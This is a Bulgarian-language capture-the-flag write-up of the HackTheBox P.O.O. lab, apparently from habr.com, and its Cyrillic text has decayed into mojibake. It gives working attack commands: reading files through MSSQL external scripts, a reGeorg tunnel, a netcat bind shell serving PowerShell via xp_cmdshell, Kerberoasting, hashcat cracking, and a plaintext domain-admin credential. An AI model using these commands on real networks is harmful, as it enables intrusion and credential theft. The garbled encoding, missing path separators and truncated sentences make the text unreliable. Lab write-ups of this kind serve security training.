ΠΠΎ Π΄ΠΎΡΡΡΠΏΡΡ Π΅ ΠΎΡΠΊΠ°Π·Π°Π½. ΠΡΠΏΡΠ΅ΠΊΠΈ ΡΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ Π΄Π° ΠΏΡΠΎΡΠ΅ΡΠ΅ΠΌ ΡΠ°ΠΉΠ»Π° ΠΎΡ MSSQL, ΠΏΡΠΎΡΡΠΎ ΡΡΡΠ±Π²Π° Π΄Π° Π·Π½Π°Π΅ΠΌ ΠΊΠ°ΠΊΠ²ΠΈ Π΅Π·ΠΈΡΠΈ Π·Π° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΈΡΠ°Π½Π΅ ΡΠ° ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠΈΡΠ°Π½ΠΈ. Π Π² Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ° MSSQL ΠΎΡΠΊΡΠΈΠ²Π°ΠΌΠ΅, ΡΠ΅ ΠΈΠΌΠ° Python.
Π‘Π»Π΅Π΄ ΡΠΎΠ²Π° Π½ΡΠΌΠ° ΠΏΡΠΎΠ±Π»Π΅ΠΌ Π΄Π° ΠΏΡΠΎΡΠ΅ΡΠ΅ΡΠ΅ ΡΠ°ΠΉΠ»Π° web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Π‘ Π½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈΡΠ΅ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΎΠ½Π½ΠΈ Π΄Π°Π½Π½ΠΈ ΠΎΡΠΈΠ΄Π΅ΡΠ΅ Π½Π° /admin ΠΈ Π²Π·Π΅ΠΌΠ΅ΡΠ΅ ΡΠ»Π°Π³Π°.
ΠΎΠΏΠΎΡΠ½ΠΎ Π·Π½Π°ΠΌΠ΅
ΠΡΡΡΠ½ΠΎΡΡ ΠΈΠΌΠ° Π½ΡΠΊΠΎΠΈ Π½Π΅ΡΠ΄ΠΎΠ±ΡΡΠ²Π° ΠΎΡ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ΡΠΎ Π½Π° Π·Π°ΡΠΈΡΠ½Π° ΡΡΠ΅Π½Π°, Π½ΠΎ ΠΏΡΠ΅Π³Π»Π΅ΠΆΠ΄Π°ΠΉΠΊΠΈ ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈΡΠ΅ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ, Π·Π°Π±Π΅Π»ΡΠ·Π²Π°ΠΌΠ΅, ΡΠ΅ ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΈ IPv6 ΠΏΡΠΎΡΠΎΠΊΠΎΠ»!
ΠΠΎΠ±Π°Π²Π΅ΡΠ΅ ΡΠΎΠ·ΠΈ Π°Π΄ΡΠ΅Ρ ΠΊΡΠΌ /etc/hosts.
dead:babe::1001 poo6.htb
ΠΠ΅ΠΊΠ° ΠΎΡΠ½ΠΎΠ²ΠΎ ΡΠΊΠ°Π½ΠΈΡΠ°ΠΌΠ΅ Ρ
ΠΎΡΡΠ°, Π½ΠΎ ΡΠΎΠ·ΠΈ ΠΏΡΡ ΠΏΡΠ΅Π· IPv6.
Π ΡΡΠ»ΡΠ³Π°ΡΠ° WinRM Π΅ Π΄ΠΎΡΡΡΠΏΠ½Π° ΠΏΡΠ΅Π· IPv6. ΠΠ΅ΠΊΠ° ΡΠ΅ ΡΠ²ΡΡΠΆΠ΅ΠΌ Ρ Π½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈΡΠ΅ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΎΠ½Π½ΠΈ Π΄Π°Π½Π½ΠΈ.
ΠΠΌΠ° ΡΠ»Π°Π³ Π½Π° ΡΠ°Π±ΠΎΡΠ½ΠΈΡ ΠΏΠ»ΠΎΡ, ΠΏΡΠ΅Π΄Π°ΠΉΡΠ΅ Π³ΠΎ.
P00ned ΡΠ»Π°Π³
Π‘Π»Π΅Π΄ ΡΠ°Π·ΡΠ·Π½Π°Π²Π°Π½Π΅ Π½Π° Π΄ΠΎΠΌΠ°ΠΊΠΈΠ½Π° Ρ
setspn.exe -T intranet.poo -Q */*
ΠΠ΅ΠΊΠ° ΠΈΠ·ΠΏΡΠ»Π½ΠΈΠΌ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° ΡΡΠ΅Π· MSSQL.
ΠΠΎ ΡΠΎΠ·ΠΈ Π½Π°ΡΠΈΠ½ ΠΏΠΎΠ»ΡΡΠ°Π²Π°ΠΌΠ΅ SPN Π½Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈΡΠ΅ p00_hr ΠΈ p00_adm, ΠΊΠΎΠ΅ΡΠΎ ΠΎΠ·Π½Π°ΡΠ°Π²Π°, ΡΠ΅ ΡΠ΅ ΡΠ° ΡΡΠ·Π²ΠΈΠΌΠΈ Π½Π° Π°ΡΠ°ΠΊΠ° ΠΊΠ°ΡΠΎ Kerberoasting. ΠΠ°ΠΊΡΠ°ΡΠΊΠΎ, ΠΌΠΎΠΆΠ΅ΠΌ Π΄Π° ΠΏΠΎΠ»ΡΡΠΈΠΌ Ρ
Π΅ΡΠΎΠ²Π΅ΡΠ΅ Π½Π° ΡΠ΅Ρ
Π½ΠΈΡΠ΅ ΠΏΠ°ΡΠΎΠ»ΠΈ.
ΠΡΡΠ²ΠΎ ΡΡΡΠ±Π²Π° Π΄Π° ΠΏΠΎΠ»ΡΡΠΈΡΠ΅ ΡΡΠ°Π±ΠΈΠ»Π½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° ΠΎΡ ΠΈΠΌΠ΅ΡΠΎ Π½Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»Ρ Π½Π° MSSQL. ΠΠΎ ΡΡΠΉ ΠΊΠ°ΡΠΎ Π½ΠΈΠ΅ ΡΠΌΠ΅ ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅Π½ΠΈ Π² Π΄ΠΎΡΡΡΠΏΠ°, ΠΈΠΌΠ°ΠΌΠ΅ Π²ΡΡΠ·ΠΊΠ° Ρ Ρ
ΠΎΡΡΠ° ΡΠ°ΠΌΠΎ ΠΏΡΠ΅Π· ΠΏΠΎΡΡΠΎΠ²Π΅ 80 ΠΈ 1433. ΠΠΎ Π΅ Π²ΡΠ·ΠΌΠΎΠΆΠ½ΠΎ Π΄Π° ΡΠ΅ ΡΡΠ½Π΅Π»ΠΈΡΠ° ΡΡΠ°ΡΠΈΠΊ ΠΏΡΠ΅Π· ΠΏΠΎΡΡ 80! ΠΠ° ΡΠΎΠ²Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅
ΠΠΎ ΠΊΠΎΠ³Π°ΡΠΎ ΡΠ΅ ΠΎΠΏΠΈΡΠ°ΠΌΠ΅ Π΄Π° ΠΏΠΎΠ»ΡΡΠΈΠΌ Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ Π½Π΅Π³ΠΎ, ΠΏΠΎΠ»ΡΡΠ°Π²Π°ΠΌΠ΅ Π³ΡΠ΅ΡΠΊΠ° 404. Π’ΠΎΠ²Π° ΠΎΠ·Π½Π°ΡΠ°Π²Π°, ΡΠ΅ *.aspx ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ΡΠ΅ Π½Π΅ ΡΠ΅ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π°Ρ. ΠΠ° Π΄Π° ΡΡΠ°ΡΡΠΈΡΠ°ΡΠ΅ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ Ρ ΡΠ΅Π·ΠΈ ΡΠ°Π·ΡΠΈΡΠ΅Π½ΠΈΡ, ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°ΠΉΡΠ΅ ASP.NET 4.5, ΠΊΠ°ΠΊΡΠΎ ΡΠ»Π΅Π΄Π²Π°.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Π ΡΠ΅Π³Π°, ΠΏΡΠΈ Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ tunnel.aspx, ΠΏΠΎΠ»ΡΡΠ°Π²Π°ΠΌΠ΅ ΠΎΡΠ³ΠΎΠ²ΠΎΡ, ΡΠ΅ Π²ΡΠΈΡΠΊΠΎ Π΅ Π³ΠΎΡΠΎΠ²ΠΎ Π·Π° ΡΠ°Π±ΠΎΡΠ°.
ΠΠ΅ΠΊΠ° ΡΡΠ°ΡΡΠΈΡΠ°ΠΌΠ΅ ΠΊΠ»ΠΈΠ΅Π½ΡΡΠΊΠ°ΡΠ° ΡΠ°ΡΡ Π½Π° ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ, ΠΊΠΎΡΡΠΎ ΡΠ΅ ΠΏΡΠ΅Π½Π°ΡΠΎΡΠ²Π° ΡΡΠ°ΡΠΈΠΊΠ°. Π©Π΅ ΠΏΡΠ΅ΠΏΡΠ°ΡΠΈΠΌ ΡΠ΅Π»ΠΈΡ ΡΡΠ°ΡΠΈΠΊ ΠΎΡ ΠΏΠΎΡΡ 5432 ΠΊΡΠΌ ΡΡΡΠ²ΡΡΠ°.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Π Π½ΠΈΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ ΠΏΡΠΎΠΊΡΠΈ Π²Π΅ΡΠΈΠ³ΠΈ, Π·Π° Π΄Π° ΠΈΠ·ΠΏΡΠ°ΡΠ°ΠΌΠ΅ ΡΡΠ°ΡΠΈΠΊΠ° Π½Π° Π²ΡΡΠΊΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΡΠ΅Π· Π½Π°ΡΠ΅ΡΠΎ ΠΏΡΠΎΠΊΡΠΈ. ΠΠ΅ΠΊΠ° Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΡΠΎΠ²Π° ΠΏΡΠΎΠΊΡΠΈ ΠΊΡΠΌ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΎΠ½Π½ΠΈΡ ΡΠ°ΠΉΠ» /etc/proxychains.conf.
Π‘Π΅Π³Π° Π½Π΅ΠΊΠ° ΠΊΠ°ΡΠΈΠΌ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ°ΡΠ° Π½Π° ΡΡΡΠ²ΡΡΠ°
Π‘Π΅Π³Π° ΡΡΠ΅Π· MSSQL ΡΡΠ°ΡΡΠΈΡΠ°ΠΌΠ΅ ΡΠ»ΡΡΠ°ΡΠ΅Π»Ρ.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Π ΡΠ΅ ΡΠ²ΡΡΠ·Π²Π°ΠΌΠ΅ ΡΡΠ΅Π· Π½Π°ΡΠ΅ΡΠΎ ΠΏΡΠΎΠΊΡΠΈ.
proxychains rlwrap nc poo.htb 4321
Π Π΄Π° Π²Π·Π΅ΠΌΠ΅ΠΌ Ρ
Π΅ΡΠΎΠ²Π΅ΡΠ΅.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Π‘Π»Π΅Π΄ ΡΠΎΠ²Π° ΡΡΡΠ±Π²Π° Π΄Π° ΠΏΠΎΠ²ΡΠΎΡΠΈΡΠ΅ ΡΠ΅Π·ΠΈ Ρ
Π΅ΡΠΎΠ²Π΅. Π’ΡΠΉ ΠΊΠ°ΡΠΎ rockyou Π½ΡΠΌΠ°ΡΠ΅ ΡΠ΅ΡΠ½ΠΈΠΊ Ρ Π΄Π°Π½Π½ΠΈ Π·Π° ΠΏΠ°ΡΠΎΠ»ΠΈ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ
ΠΠ‘ΠΠ§ΠΠ ΡΠ΅ΡΠ½ΠΈΡΠΈ Π·Π° ΠΏΠ°ΡΠΎΠ»ΠΈ, ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π΅Π½ΠΈ Π² Seclists. ΠΠ° ΠΈΠ·Π±ΡΠΎΡΠ²Π°Π½Π΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Π Π½Π°ΠΌΠΈΡΠ°ΠΌΠ΅ ΠΈ Π΄Π²Π΅ΡΠ΅ ΠΏΠ°ΡΠΎΠ»ΠΈ, ΠΏΡΡΠ²Π°ΡΠ° Π² ΡΠ΅ΡΠ½ΠΈΠΊΠ° dutch_passwordlist.txt, Π° Π²ΡΠΎΡΠ°ΡΠ° Π² Keyboard-Combinations.txt.
Π ΡΠ°ΠΊΠ°, ΠΈΠΌΠ°ΠΌΠ΅ ΡΡΠΈΠΌΠ° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈ, ΠΎΡΠΈΠ²Π°ΠΌΠ΅ Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½ ΠΊΠΎΠ½ΡΡΠΎΠ»Π΅ΡΠ°. ΠΠ΅ΠΊΠ° ΠΏΡΡΠ²ΠΎ ΡΠ°Π·Π±Π΅ΡΠ΅ΠΌ Π°Π΄ΡΠ΅ΡΠ° ΠΌΡ.
Π‘ΡΡΠ°Ρ
ΠΎΡΠ½ΠΎ, Π½Π°ΡΡΠΈΡ
ΠΌΠ΅ IP Π°Π΄ΡΠ΅ΡΠ° Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½ ΠΊΠΎΠ½ΡΡΠΎΠ»Π΅ΡΠ°. ΠΠ΅ΠΊΠ° ΡΠ°Π·Π±Π΅ΡΠ΅ΠΌ Π²ΡΠΈΡΠΊΠΈ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈ Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½Π°, ΠΊΠ°ΠΊΡΠΎ ΠΈ ΠΊΠΎΠΉ ΠΎΡ ΡΡΡ
Π΅ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡ. ΠΠ° Π΄Π° ΠΈΠ·ΡΠ΅Π³Π»ΠΈΡΠ΅ ΡΠΊΡΠΈΠΏΡΠ°, Π·Π° Π΄Π° ΠΏΠΎΠ»ΡΡΠΈΡΠ΅ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ PowerView.ps1. Π‘Π»Π΅Π΄ ΡΠΎΠ²Π° ΡΠ΅ ΡΠ΅ ΡΠ²ΡΡΠΆΠ΅ΠΌ Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° evil-winrm, ΠΊΠ°ΡΠΎ ΠΏΠΎΡΠΎΡΠΈΠΌ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ° ΡΡΡ ΡΠΊΡΠΈΠΏΡΠ° Π² ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡΠ° -s. Π ΡΠ»Π΅Π΄ ΡΠΎΠ²Π° ΠΏΡΠΎΡΡΠΎ Π·Π°ΡΠ΅Π΄Π΅ΡΠ΅ ΡΠΊΡΠΈΠΏΡΠ° Π½Π° PowerView.
Π‘Π΅Π³Π° ΠΈΠΌΠ°ΠΌΠ΅ Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ Π²ΡΠΈΡΠΊΠΈ Π½Π΅Π³ΠΎΠ²ΠΈ ΡΡΠ½ΠΊΡΠΈΠΈ. ΠΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΡ p00_adm ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° ΠΊΠ°ΡΠΎ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΎΠ²Π°Π½ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π», ΡΠ°ΠΊΠ° ΡΠ΅ ΡΠ΅ ΡΠ°Π±ΠΎΡΠΈΠΌ Π² Π½Π΅Π³ΠΎΠ²ΠΈΡ ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡ. ΠΠ΅ΠΊΠ° ΡΡΠ·Π΄Π°Π΄Π΅ΠΌ PSCredential ΠΎΠ±Π΅ΠΊΡ Π·Π° ΡΠΎΠ·ΠΈ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π».
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Π‘Π΅Π³Π° Π²ΡΠΈΡΠΊΠΈ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π½Π° Powershell, ΠΊΡΠ΄Π΅ΡΠΎ ΠΏΠΎΡΠΎΡΠ²Π°ΠΌΠ΅ Creds, ΡΠ΅ Π±ΡΠ΄Π°Ρ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈ ΠΎΡ ΠΈΠΌΠ΅ΡΠΎ Π½Π° p00_adm. ΠΠ΅ΠΊΠ° ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ ΡΠΏΠΈΡΡΠΊ Ρ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈ ΠΈ Π°ΡΡΠΈΠ±ΡΡΠ° AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Π ΡΠ°ΠΊΠ°, Π½Π°ΡΠΈΡΡ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π» Π΅ Π½Π°ΠΈΡΡΠΈΠ½Π° ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΎΠ²Π°Π½. ΠΠ° Π²ΠΈΠ΄ΠΈΠΌ ΠΊΡΠΌ ΠΊΠΎΠΈ Π³ΡΡΠΏΠΈ ΠΏΡΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈ.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
ΠΠ°ΠΉ-Π½Π°ΠΊΡΠ°Ρ ΠΏΠΎΡΠ²ΡΡΠΆΠ΄Π°Π²Π°ΠΌΠ΅, ΡΠ΅ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΡ Π΅ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡ Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½. Π’ΠΎΠ²Π° ΠΌΡ Π΄Π°Π²Π° ΠΏΡΠ°Π²ΠΎΡΠΎ Π΄Π° Π²Π»Π΅Π·Π΅ ΠΎΡΠ΄Π°Π»Π΅ΡΠ΅Π½ΠΎ Π² Π΄ΠΎΠΌΠ΅ΠΉΠ½ ΠΊΠΎΠ½ΡΡΠΎΠ»Π΅ΡΠ°. ΠΠ΅ΠΊΠ° ΡΠ΅ ΠΎΠΏΠΈΡΠ°ΠΌΠ΅ Π΄Π° Π²Π»Π΅Π·Π΅ΠΌ Ρ WinRM, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ Π½Π°ΡΠΈΡ ΡΡΠ½Π΅Π». ΠΡΡ
ΠΎΠ±ΡΡΠΊΠ°Π½ ΠΎΡ Π³ΡΠ΅ΡΠΊΠΈΡΠ΅, ΠΈΠ·Π΄Π°Π²Π°Π½ΠΈ ΠΎΡ reGeorg ΠΏΡΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° evil-winrm.
Π‘Π»Π΅Π΄ ΡΠΎΠ²Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ Π΄ΡΡΠ³, ΠΏΠΎ-Π»Π΅ΡΠ΅Π½,
ΠΠΏΠΈΡΠ²Π°ΠΌΠ΅ ΡΠ΅ Π΄Π° ΡΠ΅ ΡΠ²ΡΡΠΆΠ΅ΠΌ ΠΈ ΡΠΌΠ΅ Π² ΡΠΈΡΡΠ΅ΠΌΠ°ΡΠ°.
ΠΠΎ Π·Π½Π°ΠΌΠ΅ Π½ΡΠΌΠ°. Π‘Π»Π΅Π΄ ΡΠΎΠ²Π° ΠΏΠΎΠ³Π»Π΅Π΄Π½Π΅ΡΠ΅ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»Ρ ΠΈ ΠΏΡΠΎΠ²Π΅ΡΠ΅ΡΠ΅ Π½Π°ΡΡΠΎΠ»Π½ΠΈΡΠ΅ ΠΊΠΎΠΌΠΏΡΡΡΠΈ.
Π mr3ks Π½Π°ΠΌΠΈΡΠ°ΠΌΠ΅ ΡΠ»Π°Π³Π° ΠΈ Π»Π°Π±ΠΎΡΠ°ΡΠΎΡΠΈΡΡΠ° Π΅ Π·Π°Π²ΡΡΡΠ΅Π½Π° Π½Π° 100%.
Π’ΠΎΠ²Π° Π΅ Π²ΡΠΈΡΠΊΠΎ. ΠΠ°ΡΠΎ ΠΎΠ±ΡΠ°ΡΠ½Π° Π²ΡΡΠ·ΠΊΠ° ΠΊΠΎΠΌΠ΅Π½ΡΠΈΡΠ°ΠΉΡΠ΅ Π΄Π°Π»ΠΈ ΡΡΠ΅ Π½Π°ΡΡΠΈΠ»ΠΈ Π½Π΅ΡΠΎ Π½ΠΎΠ²ΠΎ ΠΎΡ ΡΠ°Π·ΠΈ ΡΡΠ°ΡΠΈΡ ΠΈ Π΄Π°Π»ΠΈ Π²ΠΈ Π΅ Π±ΠΈΠ»Π° ΠΏΠΎΠ»Π΅Π·Π½Π°.
ΠΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΡΠ΅ ΠΏΡΠΈΡΡΠ΅Π΄ΠΈΠ½ΠΈΡΠ΅ ΠΊΡΠΌ Π½Π°Ρ Π½Π°
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: www.habr.com